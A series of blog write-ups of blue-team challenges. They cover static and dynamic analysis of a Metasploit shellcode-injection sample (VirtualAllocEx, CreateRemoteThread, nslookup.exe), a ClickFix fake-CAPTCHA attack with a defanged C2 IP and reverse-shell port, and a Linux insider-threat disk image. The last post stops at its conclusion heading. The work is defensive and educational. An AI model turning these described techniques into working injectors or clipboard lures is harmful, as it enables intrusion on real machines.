I chose this week’s challenge to start wrapping up the Security Engineer path and get some hands-on practice investigating compromised web applications while testing my knowledge of the Software Security modules. It was a rewarding experience as each question segued perfectly into the next, and the investigation felt linear and logical. As an added bonus, I’ve been using Postman more in my day job, so getting extra reps in was a real plus. Great stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://tryhackme.com/room/traverse

CyberChef: https://gchq.github.io/CyberChef/

ZAP Proxy Documentation — Spider: https://www.zaproxy.org/docs/desktop/addons/spider/

Postman: https://www.postman.com/

OWASP Top 10 — A03 — Injection: https://owasp.org/Top10/A03_2021-Injection/

Blue Team Labs Online — Reverse Engineering - A Classic Injection Challenge Walkthrough

Sun, 17 Aug 2025 00:00:00 +0000

Blue Team Labs Online — Reverse Engineering — A Classic Injection Challenge Walkthrough

A Malware Analysis Challenge Using Ghidra and ProcMon

Image Credit: https://blueteamlabs.online/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the Reverse Engineering — A Classic Injection challenge from Blue Team Labs Online, you’re in the right place. This challenge is a fantastic introduction to malware reverse engineering using both static and dynamic analysis techniques — let’s check out the scenario below.

Challenge Scenario:

Analyse the attached EXE sample and find answers to the following questions. Note: The EXE uses shellcode generated by the Metasploit attack framework. Make sure you analyse the sample in contained environment (we recommend a virtual machine where internet access is disabled).

For this challenge, we’re provided a malicious executable file generated by Metasploit. Our job is to dig into the binary to understand what the malware is capable of and how it works.

To perform this investigation, we’ll gather information about the malware and its capabilities by performing static code analysis using Ghidra. Once we’ve learned more about how the malware functions, we’ll pivot to dynamic analysis by executing the malware and capturing system activity for further inspection. By combining both techniques, we’ll build a comprehensive understanding of how the malware operates.

Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Setup the Analysis Environment & Extract the Challenge File:

Safety first! It’s always important to heed the warning when working with lab/challenge files from BTLO (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment.

For example, I’m using FLARE-VM for this challenge: “a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).”

To keep this write-up focused I’m going to skip a step-by-step setup of FLARE-VM, but if you’d like to set up your own environment, please follow the directions provided directly by FLARE-VM on GitHub.

Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Question 1: What is the name of the compiler used to generate the EXE?

Let’s kick off our investigation! First things first: unzip the challenge file archive, then unzip the inner .ZIP file to expose the sample, analyseme.exe.

File Explorer: The location of the malware sample.

To answer Question 1, we need to determine the compiler used to generate the executable. For this task, we can use a file identification tool like PEiD, which comes bundled with Flare-VM. This is a good first step in any malware reverse engineering workflow to learn more about the binary and inform the next investigative steps.

After opening PEiD, drag the analyseme.exe file into the application to perform the analysis.

PEiD: Identifying the compiler

At the bottom of the window, we’ll see Microsoft Visual C++ 8 — this is the name of the compiler used to create the executable.

Question 2: This malware, when executed, sleeps for some time. What is the sleep time in minutes?

Now that we’ve identified the compiler, it’s time to jump into a disassembler and start statically analyzing the sample.

For this task, we’ll use Ghidra, another tool built into Flare-VM. Now, full disclosure — I have little experience with Ghidra outside of a lab or two. So, for some background on what Ghidra is, let’s refer to the project’s GitHub before we stumble through this together:

Ghidra is a software reverse engineering (SRE) framework created and maintained by the National Security Agency Research Directorate. This framework includes a suite of full-featured, high-end software analysis tools that enable users to analyze compiled code on a variety of platforms including Windows, macOS, and Linux. Capabilities include disassembly, assembly, decompilation, graphing, and scripting, along with hundreds of other features.

Now, let’s launch Ghidra. When it starts up, we’ll create a project, drop in the analyseme.exe, and let Ghidra perform the initial analysis. Once that’s completed, we’ll have the symbol tree displayed on the left, the listing contents in the center, and the decompile window on the right.

To answer Question 2, we’re looking for a sleep function to determine how long the malware sleeps after execution. To orient ourselves, let’s search the program text for "sleep" by pressing Search, then Search Program Text, and entering sleep in the Search For field.

Ghidra: Searching for the references to sleep

Selecting the entry in the search takes us directly to the referenced pointer in the listing window. Notice the DWORD dwMilliseconds? Keep that in mind. Next, let’s figure out where this is referenced by clicking FUN_00401220:00401252 (R) which I’ve highlighted below.

Ghidra: Clicking the associated function

Now, focusing on the decompile window on the right-hand side of Ghidra. Here we see a value of [Sleep(180000)](https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-sleep).

Ghidra: Identifying the sleep value

Recall the DWORD dwMilliseconds we flagged earlier? All we have to do now is convert 180000 milliseconds to minutes, and we’ve got our answer:

180000 milliseconds = 3 minutes

Question 3: After the sleep time, it prompts for user password, what is the correct password?

For our next task, we need to discover the correct password required to execute the malware after the sleep time we found in Question 2. This likely means we’re looking for an if statement that checks for a specific password.

One way to approach this is to use Ghidra to search for text strings in the application that might indicate a hardcoded password. To do this, press Search > String Search to get an overview of strings that appear in the binary. But first, let’s change the minimum length from 5 to 3 — just in case the password is shorter than 5 characters because, security 😋.

Ghidra: String search interface

After reviewing the results, we’ll stumble on an interesting string, btlo, with the label DAT_00403210 — this sticks out as a bit odd.

Ghidra: Identifying interesting string

Clicking the string brings us back to FUN_00401220, where we previously identified the sleep timer. In the decompile window, it seems this string is tied to an if statement, leading us to the conclusion that this is probably the correct password.

Ghidra: Analyzing the location of the string in the function

This is only a lucky guess approach since we don’t know for sure that this is the password we’re looking for just yet. We’ll validate this later in the challenge when we execute the malware, but we can submit the flag to check our work.

Question 4: What is the size of the shellcode?

Keep scrolling down in FUN_00401220 and we’ll discover a call to VirtualAllocEx on line 106. According to Microsoft Learn, the VirtualAllocEx function reserves a memory region within the virtual address space of a target process. Given the context of this investigation, it seems likely this could be used for process injection.

If you’re unfamiliar with this technique, I’ll include a short description from MITRE ATT&CK: T1055 — Process Injection:

Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges.

Ghidra: Identifying the shellcode size

This question feels a little out of order since we’ll learn more about the method of shellcode injection and the victim process in the next couple of questions.

For the purposes of Question 4 we’ll need the decimal value of the memory allocation. Hover over the hex value 0x1d9 to see the automatic conversion — which is 473.

Question 5: Shellcode injection involves three important windows API. What is the name of the API Call used?

We got a little ahead of ourselves while investigating Question 4 and spoiled the fun. Question 5 confirms we’re looking at shellcode injection, and now we need to determine which API call is used to perform it.

Let’s pull back and lean on the reference link provided by BTLO for the challenge:

CreateRemoteThread Shellcode Injection | Red Team Notes _Injecting shellcode into a local process._www.ired.team

This is an excellent reference point to help explain what we’re seeing: injecting shellcode into a remote process using [CreateRemoteThread](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread). The proof-of-concept payload included in the blog even features something we saw in the last question, creating the VirtualAllocEx to accommodate the shellcode.

Let’s flip back to the sample we’re analyzing in Ghidra. A few lines further down in the code (line 108), we’ll see a reference to this exact API — CreateRemoteThread.

Ghidra: Identifying the shellcode injection API call

This confirms that the sample we’re analyzing matches the technique discussed in the Red Team Notes blog.

Question 6: What is the name of the victim process?

So, let’s put this all together: in Question 4, we determined where the injection happens using the VirtualAllocEx function. In Question 5, we learned how the injection is performed using CreateRemoteThread. The last thing we need to determine is what victim process was injected, right?

For this, jump up to line 101 in Ghidra, where we can see a call to CreateProcessW. The target process being launched is nslookup.exe, a trusted Windows binary. Because it blends into legitimate operations, using it can make malicious activity more difficult to detect. Very sneaky!

Ghidra: Identifying the victim process

Importantly, this confirms that nslookup.exe is the victim process (the one receiving the injected shellcode).

Questions 7, 8, & 9:

What is the file created by the sample

What is the message in the created file

What is the program that the shellcode used to create and write this file

For our final three tasks, we need to uncover what this malware sample does after execution. To do this, we’re switching gears — moving away from static analysis in Ghidra to dynamic analysis by actually executing the malware and capturing runtime behavior.

We’ll use Process Monitor (ProcMon) from the Microsoft Sysinternals suite. Process Monitor is “an advanced monitoring tool for Windows that shows real-time file system, Registry, and process/thread activity.”

Using this utility helps us collect insights into what the malware does upon execution. First, launch ProcMon and let it run to capture system activity.

Next, double-click and execute the analyseme.exe sample. Immediately, a command prompt window opens with a ?. Remember the sleep timer from Question 2? We need to wait 3 minutes for the malware to continue…

Executing the malware for dynamic analysis

Once the 3 minutes have passed, we’re prompted for a password. Now we can finally validate the password string we identified in Question 3. Once the password is accepted, the window closes.

Inputting the password string into the malware

But what really happened? Let’s turn to ProcMon to see behind the scenes. In the main window, press the Process Tree view button, and search for the parent process analyseme.exe.

ProcMon: Identifying processes spawned by the malware

We’ll see that the malicious binary spawned a few child processes — including powershell.exe. Clicking the powershell.exe entry reveals an encoded (-enc) command line. Now we need to decode this command to understand what happened.

To decode the PowerShell command line, flip over to CyberChef. I used the version built into Flare-VM, but the online version works just as well.

Once CyberChef is open, paste the encoded command into the input field. Then, from the operations column on the left, add the From Base64 and Remove null bytes operations to the recipe.

CyberChef: Decoding the PowerShell command line

Once the operation completes, the output window reveals the decoded contents of the command — giving us everything we need to answer the final three questions:

The shellcode executes powershell.exe, via the New-Item cmdlet to create a new file: btlo.txt
The file is created in the C:\Windows\Temp directory
The message written to the file is: “Welcome to BTLO!”

Conclusion:

There we have it, folks! After performing initial file identification with PEiD, we dove headfirst into Ghidra to run some static analysis and uncover the sleep time, password string, shellcode size, and the process injection technique used by this malware. Once we confirmed it was a shellcode injection, we identified the victim process. From there, we pivoted to dynamic analysis — executing the malware in our analysis environment and capturing system activity with ProcMon. That led us to a PowerShell command that created a file and wrote a message, giving us the final answers we needed.

A big thank you to Blue Team Labs Online for another awesome challenge! Reverse engineering and static malware analysis are weaker spots in my skillset, so I like to keep these kinds of challenges in the rotation to continuously improve. There was some stumbling along the way, but leveraging Ghidra to analyze and decompile malware code is incredibly helpful for building foundational knowledge. While online sandboxes like ANY.RUN are popular for dynamic analysis, it’s always good to learn offline techniques like using ProcMon to dig deeper.

All in all, this was a valuable experience and a fun challenge for the week. Awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://blueteamlabs.online/home/challenge/reverse-engineering-a-classic-injection-9791a9b784

Flare-VM: https://github.com/mandiant/flare-vm

Ghidra: https://github.com/NationalSecurityAgency/ghidra

Microsoft Learn — Sleep Function: Sleep function (synchapi.h) — Win32 apps | Microsoft Learn

Microsoft Learn — VirtualAllocEx: https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex

MITRE ATT&CK: T1055 — Process Injection: Process Injection, Technique T1055 — Enterprise | MITRE ATT&CK®

Microsoft Learn-CreateRemoteThread: https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread

Red Team Notes — “CreateRemoteThread Shellcode Injection”: https://www.ired.team/offensive-security/code-injection-process-injection/process-injection

Sysinternals — Process Monitor: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon

CyberChef: https://gchq.github.io/CyberChef/

HackTheBox — Pikaptcha Sherlock Walkthrough

Sun, 10 Aug 2025 00:00:00 +0000

HackTheBox — Pikaptcha Sherlock Walkthrough

Investigating a Fake CAPTCHA Attack Using Registry Explorer and NetworkMiner.

Image Credit: https://app.hackthebox.com/sherlocks/Pikaptcha

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the Pikaptcha Sherlock challenge from Hack The Box, you’re in the right place. Let’s check out this week’s scenario below.

Challenge Scenario:

Happy Grunwald contacted the sysadmin, Alonzo, because of issues he had downloading the latest version of Microsoft Office. He had received an email saying he needed to update, and clicked the link to do it. He reported that he visited the website and solved a captcha, but no office download page came back. Alonzo, who himself was bombarded with phishing attacks last year and was now aware of attacker tactics, immediately notified the security team to isolate the machine as he suspected an attack. You are provided with network traffic and endpoint artifacts to answer questions about what happened.

For this challenge, our job is to analyze the provided artifacts to learn about the suspected attack. We’ll need to uncover how the victim was compromised and determine what happened. By combining our findings from the endpoint and the network, we’ll be able to figure out exactly what happened.

This challenge is a fantastic introduction to endpoint registry analysis, network traffic analysis, and fake Captcha attacks.

But what’s in the toolkit for this investigation? The fun part is — there isn’t one right or wrong approach for this challenge. For this walkthrough, I’ll be demonstrating NetworkMiner and Eric Zimmerman’s Registry Explorer for the bulk of the analysis, but there are many other tools that can accomplish the same things — so feel free to use your preferred tools!

Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Setup Your Analysis Environment & Extract the Challenge File:

Safety first! It’s always important when working with lab/challenge files from Hack The Box (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. As this is a Windows-based challenge, I’m using FLARE-VM for this challenge which is “a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).”

Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Question 1: It is crucial to understand any payloads executed on the system for initial access. Analyzing registry hive for user happy grunwald. What is the full command that was run to download and execute the stager.

Let’s kick off this investigation by opening the Pikaptcha challenge file. Inside, we’ll find several artifacts, but the first set we’re interested in are contained in the 2024–09–23T052209_alert_mssp_action folder.

To answer Question 1, we need to search for evidence of payload execution. Within the 2024–09–23T052209_alert_mssp_action folder are, among others, the registry artifacts. While there are a couple of places we can check, a great starting point is the Most Recently Used (MRU) artifacts.

These MRU artifacts are tracked by Windows and can help determine recent interaction with files and applications executed via the Windows Run utility. We can access this information by mounting the NTUSER.DAT hive found in the happygrunwald user folder.

Now that we understand what we’re searching for, let’s look at the how. One excellent tool for searching Registry artifacts is Eric Zimmerman’s Registry Explorer. This is a GUI-based tool used to open, browse, and search the registry — very handy!

Let’s put this into practice:

Open Registry Explorer
Press File > Load Hive
Navigate to 2024–09–23T052209_alert_mssp_action\C\Users\happygrunwald
Select NTUSER.DAT

Pro Tip: Hold Shift when selecting the NTUSER.DAT — this will automatically replay the associated transaction logs. Otherwise, you’ll get a “Dirty Hive” warning.

Registry Explorer: Opening the happygrunwald NTUSERS.DAT hive

Once loaded, we’re looking for RunMRU. There are two easy ways to get there. I’ve used the search function to locate it quickly, but you can also use the built-in bookmark under Common > RunMRU (Most recently run programs).

Registry Explorer: The contents of the RunMRU key

Either way, you’ll notice a suspicious PowerShell command listed under the Executable column that appears to be reaching out to an external IP address to download a script called office2024install.ps1. Knowing that Happy attempted to download Office updates and that we’re seeking a command that downloads and executes a stager, we can reasonably determine this is the executed payload we’re looking for.

To make this easier to see, click the Values tab so you can right-click and copy the data value. You can remove the \1 at the end as it’s not part of the command.

Registry Explorer: The values tab of the RunMRU key

Let’s check our work and move on to the next question.

Question 2: At what time in UTC did the malicious payload execute?

To answer Question 2, we need to determine when the payload we identified in the last question executed. For this, simply click the RunMRU tab again within Registry Explorer and check the Opened On value. This is the time stamp we need.

Registry Explorer: Viewing the “Opened On” timestamp for the suspicious PowerShell command

Now that we’ve obtained the value for the execution time, we can start to build our timeline and pivot to searching for follow-on activities.

Question 3: The payload which was executed initially downloaded a PowerShell script and executed it in memory. What is sha256 hash of the script?

To answer Question 3, we need to determine the SHA256 hash of the office2024install.ps1 second-stage script. By obtaining the hash of the script, we can search for threat intelligence about the specific file.

With limited registry artifacts available, let’s pivot to the second artifact in the challenge file: pikaptcha.pcapng. This PCAPNG file is a network packet capture containing raw network packet data. We can use this data to gain a deep understanding of the network traffic. Typically, when the topic of packet capture comes up, Wireshark is one of the first tools that comes to mind.

For this walkthrough, however, we’re going to use NetworkMiner, “an open source network forensics tool that extracts artifacts, such as files, images, emails and passwords, from captured network traffic in PCAP files.”

While this task can be performed in Wireshark, using NetworkMiner instead is extremely beneficial for carving out the file hash of the malicious PowerShell script because NetworkMiner can automatically reassemble files from the packet capture.

But first, we need to convert the pikaptcha.pcapng file from PCAPNG to PCAP so that we can open it in NetworkMiner. This is a straightforward process: open the file in Wireshark, press File > Save As, and select the Wireshark/tcpdump/…-pcap file format.

Wireshark: Converting PCAPNG to PCAP for use in NetworkMiner

Important: Because NetworkMiner assembles files automatically by default, this might mean you’re introducing malware onto your system if there are malicious files in the PCAP. If your analysis environment has something like Microsoft Defender running, it may start triggering alerts as the potentially malicious files are assembled. This is one of the reasons it’s important to perform malware analysis in a dedicated, safe environment. Don’t put your data at risk!

For example, in my isolated Flare-VM environment, real-time protection is typically turned off, so it doesn’t interfere with analysis. For illustrative purposes, I’ve turned it on. As seen in the screenshot below, the built-in Microsoft Defender detected malware in the assembled files from this PCAP.

Microsoft Defender: Alert triggered by NetworkMiner’s file reassembly

Okay, now that we’ve made a copy of pikaptcha.pcapng in PCAP format, let’s open it with NetworkMiner. Once the application is open, use the Files tab and search for the name of the malicious PowerShell script — office2024install.ps1. This will display the file contained in the traffic.

NetworkMiner: Identifying the SHA256 hash of the PowerShell script

Finally, right-click the entry and select File Details, which provides detailed information about the file including the SHA256 hash.

579284442094e1a44bea9cfb7d8d794c8977714f827c97bcb2822a97742914de

Question 4: To which port did the reverse shell connect?

Now, you might’ve noticed something strange when we were looking at the office2024install.ps1 payload details in the previous question. Did you catch the blob of encoded strings?

NetworkMiner: Noting the Base64 blob within the script contents

This is likely a way to evade analysis by Base64 encoding the payload, but it also probably contains some interesting artifacts that’ll help us learn more about the script’s behavior.

To understand the contents of the PowerShell script, we’ve got a couple of choices:

Pivot to external threat intelligence services like VirusTotal, assuming the file has been seen before.
Manually decode the blob using CyberChef.

I’ll illustrate both methods — you can choose whichever works best for your workflow.

To check VirusTotal, copy the SHA256 hash we identified in Question 3. Then, use your browser to navigate to VirusTotal and paste the hash into the search bar. On the analysis page, head to the Behavior tab and scroll down to Network Communication under the IP Traffic header. Here, we can see the observed port used by the reverse shell:

VirusTotal: Identifying the reverse shell destination port

A second option is to use a tool like CyberChef to decode the script manually. To make it easier to copy the encoded content, open the assembled script from NetworkMiner’s output directory, then open the PowerShell script in a text editor like Notepad++ and copy it to your clipboard.

Notepad++: Opening the malicious script contents

Next, open CyberChef. This will be part of your Flare-VM environment, but if not, the online version works just as well. Paste the encoded blob into the Input field and add the “From Base64” and “Remove Null Bytes” operations to the recipe.

CyberChef: Decoding the Base64 to identify the port

Voilà! Now that we’ve decoded the script contents, we can see that it’s using the System.Net.Sockets.TCPClient class to establish a connection over port 6969 to the same IP address we identified in Question 1.

Question 5: For how many seconds was the reverse shell connection established between C2 and the victim’s workstation?

Now that we’ve uncovered the destination IP and the port used by the reverse shell, our next objective is to determine how long the connection was active. For this task, let’s return to the Hosts tab in NetworkMiner.

On the Hosts tab, input the command and control IP address we identified in the script to filter traffic for that host:

43[.]205[.]115[.]44

Next, expand the IP address and turn your attention to the Incoming Sessions header to identify the session over port 6969, including the session start and end times.

NetworkMiner: Determining the session start and end times to the C2 IP and port

Now that we have the timestamps, we’ve almost got the answer. All we need to do is calculate the duration of the connection in seconds. To work a little smarter, we can leverage an online tool like the Time Duration Calculator from Calculator.net.

Time Duration Calculator _Free calculator to get the number of hours, minutes, and seconds between two times. Also, a full version to calculate…_www.calculator.net

Simply input the times we identified in NetworkMiner to determine that the connection was active for 403 seconds.

Calculator.net: Calculating the time duration for the C2 connection in seconds

Question 6: Attacker hosted a malicious Captcha to lure in users. What is the name of the function which contains the malicious payload to be pasted in victim’s clipboard?

For our final objective, we need to find the function on the website that copies a malicious PowerShell command to the victim’s clipboard as part of a fake Captcha.

To do this, we can leverage NetworkMiner’s assembled files to view a reconstruction of the index.html page visited by Happy and used to facilitate the compromise. For example, we can identify the correct directory in the AssembledFiles by looking for the C2 IP address folder from the previous question and checking the folder for TCP-80 (HTTP), indicating web traffic.

Locating the reassembled index.html page

After locating the reassembled index.html, open it with your default web browser. My analysis machine is using Microsoft Edge, for example.

Once open, press F12 to launch the browser’s DevTools and view the page source. Select the index.html file in the Page column, then navigate to the Sources tab.

Scroll down until we stumble on the function stageClipboard. This is the function that contains the malicious PowerShell code which is automatically copied to the victim’s clipboard.

Microsoft Edge: Identifying the stageClipboard function in index.html

Notice the familiar command? It’s the same PowerShell command we found in Question 1. This means we’ve identified the source of the initial access and confirmed that our victim, Happy Grunwald, was compromised.

Based on Happy’s account of solving a Captcha challenge, and the evidence we’ve located during this investigation, we can reasonably conclude that he fell victim to a fake CAPTCHA leading to a ClickFix attack.

If you aren’t familiar, ClickFix attacks typically involve a fake Captcha page that asks the user to “verify” themselves by instructing the victim to open the Windows Run dialog and paste a malicious PowerShell command that has been automatically copied to their clipboard. This technique is known as User Execution: Malicious Copy and Paste (T1204.004) from MITRE ATT&CK.

If you’d like more information about ClickFix attacks, check out this excellent blog from Palo Alto Unit 42 linked below:

Fix the Click: Preventing the ClickFix Attack Vector _ClickFix campaigns are on the rise. We highlight three that distributed NetSupport RAT, Latrodectus, and Lumma Stealer…_unit42.paloaltonetworks.com

Now that we’ve completed all our objectives and scoped out this attack, let’s submit our answer and wrap up the investigation.

Conclusion:

There we have it! We’ve completed all our objectives and determined how the victim, Happy, was compromised. By analyzing the user’s NTUSER.DAT artifact with Registry Explorer, we identified a malicious command executed on the victim’s system. After that, we checked out their network traffic with NetworkMiner to identify second-stage payloads, command and control infrastructure, and ultimately confirmed that the user fell victim to a fake Captcha leading to a ClickFix attack.

A big thank you to Hack The Box for another high-quality and engaging Sherlock. These things are just awesome — each one presents a great hands-on opportunity to investigate realistic attacks. I chose this week’s challenge to learn more about the artifacts left behind from a ClickFix attack. These types of attacks are becoming more and more common, so I wanted an opportunity to dig deeper into how they work and what impact they can have.

While Wireshark is a core tool in any cybersecurity toolkit, I wanted the opportunity to highlight a great use case for NetworkMiner and its feature set. This challenge didn’t disappoint!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.hackthebox.com/sherlocks/Pikaptcha

Flare-VM: https://github.com/mandiant/flare-vm

Eric Zimmerman’s Tools: https://ericzimmerman.github.io/#!index.md

Wireshark: https://www.wireshark.org/

NetworkMiner: https://www.netresec.com/?page=NetworkMiner

Notepad++: https://notepad-plus-plus.org/

VirusTotal: https://www.virustotal.com/

CyberChef: https://gchq.github.io/CyberChef/

VirusTotal — Sample: https://www.virustotal.com/gui/file/579284442094e1a44bea9cfb7d8d794c8977714f827c97bcb2822a97742914de/behavior

Calculator.net: https://www.calculator.net/time-duration-calculator.html?starthour=05&startmin=07&startsec=48&startunit=a&endhour=05&endmin=15&endsec=31&endunit=p&ctype=1&x=Calculate

MITRE ATT&CK — User Execution: Malicious Copy and Paste (T1204.004): https://attack.mitre.org/techniques/T1204/004/

Palo Alto — Unit 42: Fix the Click: Preventing the ClickFix Attack Vector: https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/

CyberDefenders — Insider Lab Walkthrough

Sun, 27 Jul 2025 00:00:00 +0000

CyberDefenders — Insider Lab Walkthrough

A Linux DFIR Challenge Using FTK Imager and Built-In Logs.

Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/insider/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the Insider Lab from CyberDefenders, you’re in the right spot. This challenge is a fantastic introduction to digital forensics and incident response (DFIR) on Linux and provides a solid foundational overview of some of the commonly used logs.

Let’s check out the scenario below:

Challenge Scenario:

After Karen started working for €˜TAAUSAI,’ she began doing illegal activities inside the company. €˜TAAUSAI’ hired you as a soc analyst to kick off an investigation on this case.

You acquired a disk image and found that Karen uses Linux OS on her machine. Analyze the disk image of Karen’s computer and answer the provided questions.

A case of a malicious insider? That’s not good! It’s up to us to search for evidence and uncover what actions Karen took. Fortunately, we are provided with a forensic disk image that we can use to determine exactly what happened.

To perform this investigation, we’re going to leverage FTK Imager, a popular forensics tool used to create and explore disk images of a system. Once inside, we’ll be hands-on and searching through the available artifacts manually to shed some light on what activities were perpetrated by Karen. Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Setup the Analysis Environment & Extract the Challenge File:

Safety first! It’s always important when working with lab/challenge files from CyberDefenders (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. For this challenge, I’m using FLARE-VM, " # “a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM)“since you can optionally install FTK Imager during the install.

To keep this write-up focused I’m going to skip the step-by-step setup of FLARE-VM but if you’d like to set up your own environment, please follow the directions provided directly by FLARE-VM on GitHub.

GitHub - mandiant/flare-vm: A collection of software installations scripts for Windows systems that… _A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com

Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Question 1: Which Linux distribution is being used on this machine?

Once the challenge file is extracted, navigate to the c46-FirstHack directory, which contains the FirstHack.ad1 file. The AD1 file is a forensic disk image format created by FTK Imager.

Overview of the Challenge File contents

To work through this challenge, we’re going to rely on analyzing artifacts within the disk image. Our first step is to open FTK Imager within your analysis environment.

Once the application is open, go to File > Add Evidence Item > Image File, and point to the FirstHack.ad1 file.

FTK Imager: FirstHack.ad1 loaded

Now that we have the image mounted, we can search for the answer to Question 1. One log we can check to identify the Linux distribution used on the machine is the kern.log located at /var/log/kern.log. This log contains kernel-related logging data, including the OS version being loaded.

FTK Imager: Identifying the Linux version in the kern.log

This log tells us that Karen is using Kali Linux, a popular penetration testing distribution that you’re likely familiar with if you’re reading this walkthrough.

Question 2: What is the MD5 hash of the Apache access.log file?

The next step on our investigation is to determine the MD5 hash of the system’s Apache access.log file.

We’ll locate the access.log within the /var/log/apache2 directory. Once we’ve found it, we can leverage FTK Imager’s Export File Hash List feature by right-clicking the access.log entry. This will generate a CSV file containing the file hashes.

FTK Imager: Exporting the access.log file hash

For example, I opened the CSV file in Visual Studio Code, but any CSV viewer will work. Once you have it open, you’ll be able to collect both the MD5 and SHA1 file hashes.

Visual Studio Code: Reviewing the access.log file hash export

Question 3: It is suspected that a credential dumping tool was downloaded. What is the name of the downloaded file?

Our next task is to determine what credential dumping tool the user downloaded. A good starting point is to check the user’s Downloads directory at /root/Downloads.

FTK Imager: Surveying the Downloads directory

Inside the directory, we’ll discover a file named mimikatz_trunk.zip. Based on this filename, we can reasonably say that this archive contains the popular Windows credential dumping tool, Mimikatz.

Question 4: A super-secret file was created. What is the absolute path to this file?

To answer Question 4, we’ll need to dig a bit deeper to uncover a " # "

super-secret” file created on the system.

One extremely robust and common source of forensic artifacts on Linux is the .bash_history file. This file stores the commands run within the shell or terminal, making it extremely valuable for providing clues about user behavior on the system. For our purposes, we can check this log by navigating to /root/.bash_history and reviewing the output in the bottom pane.

FTK Imager: Checking the contents of .bash_history

Among many other interesting commands, we can see toward the top of the log that the touch command is used to create SuperSecretFile.txt in the /root/Desktop directory. Sneaky indeed!

Question 5: What program used the file didyouthinkwedmakeiteasy.jpg during its execution?

To answer Question 5, let’s continue analyzing the .bash_history file and see if we can stumble across any clues that point us in the right direction.

FTK Imager: Identifying didyouthinkwedmakeiteasy.jpg in .bash_history

Scroll to the bottom of the log and you’ll find a reference to the target file didyouthinkwedmakeiteasy.jpg. Notice the command binwalk next to it? According to the Kali documentation:

Binwalk is a tool for searching a given binary image for embedded files and executable code. Specifically, it is designed for identifying files and code embedded inside of firmware images.

So, in this context, it appears that cautious Karen was checking this image file for the presence of embedded executables using Binwalk.

Question 6: What is the third goal from the checklist Karen created?

To determine the third goal, we first have to locate Karen’s checklist. To do this, we’ll stumble through the usual suspects — common directories like Desktop, Documents, Downloads, Pictures, and so on.

Lucky for us, checking the /root/Desktop folder first reveals two files: mimikatz and Checklist. The first confirms that Karen downloaded the Mimikatz credential dumper we found back in Question 3, and the second contains her checklist.

Select the Checklist and check out Karen’s plans.

FTK Imager: The location of Karen’s checklist

Question 7: How many times was Apache run?

Remember back in Question 2 when we obtained the file hash of access.log? To answer Question 7, we need to check the contents of the file instead.

Let’s navigate back to /var/log/apache2/access.log. After selecting the file, we see something strange—the log is blank. No problem. This actually tells us something useful: Apache was not run on Karen’s system, so the answer is zero.

FTK Imager: The contents of the access.log

Question 8: This machine was used to launch an attack on another. Which file contains the evidence for this?

For Question 8, we need to determine which other machine Karen’s device attacked. As a starting point, let’s return to the /root/.bash_history file to search for any additional clues.

FTK Imager: Identifying victim clues in .bash_history

Toward the bottom of the log, we see a reference to the name Bob — maybe the same Bob mentioned in the Checklist? Interesting, but not entirely helpful.

But did you notice an oddly named .jpeg file in the /root directory? You can see it in the file list at the same location where we selected the .bash_history. Let’s select it to view the contents…

FTK Imager: Evidence of the attack

Bingo! This is a screenshot of Bob’s desktop, which we can determine from the user file path visible in the Windows command prompt window. This strongly implies that Karen had remote access to Bob’s device.

Question 9: It is believed that Karen was taunting a fellow computer expert through a bash script within the Documents directory. Who was the expert that Karen was taunting?

Question 9 tells us that there’s a bash script in the Documents directory that contains the information we’re looking for. Let’s check it out.

Within the directory, there are a couple of scripts, but we want to focus on firstscript_fixed.

Checking out the contents of this simple script, we see some network enumeration tasks, but the final command contains this printed line:

echo “Heck yeah! I can write bash too Young”

FTK Imager: Karen’s taunt

Based on the boasting nature of this output, we can reasonably guess that Young is the computer expert Karen was taunting.

Question 10: A user executed the su command to gain root access multiple times at 11:26. Who was the user?

For this objective, we can leverage another log — /var/log/auth.log. This file contains the system’s authentication events, including commands elevated using sudo.

Let’s use the find feature within the output window to identify the executed su commands.

FTK Imager: Finding the su events in auth.log

Now that we’ve found them in the logs and matched the timestamps to the question, we can see that the user postgres was responsible for the command execution.

Question 11: Based on the bash history, what is the current working directory?

For our final question, we’ll return one last time to the .bash_history artifact to determine the current working directory of the terminal.

FTK Imager: Finding the current working directory from .bash_history

Easy enough — we can see the bash history shows navigation to the /root/Documents/myfirsthack directory, where we previously stumbled across Karen’s attack tooling.

Awesome job! Now let’s wrap up this investigation.

Conclusion:

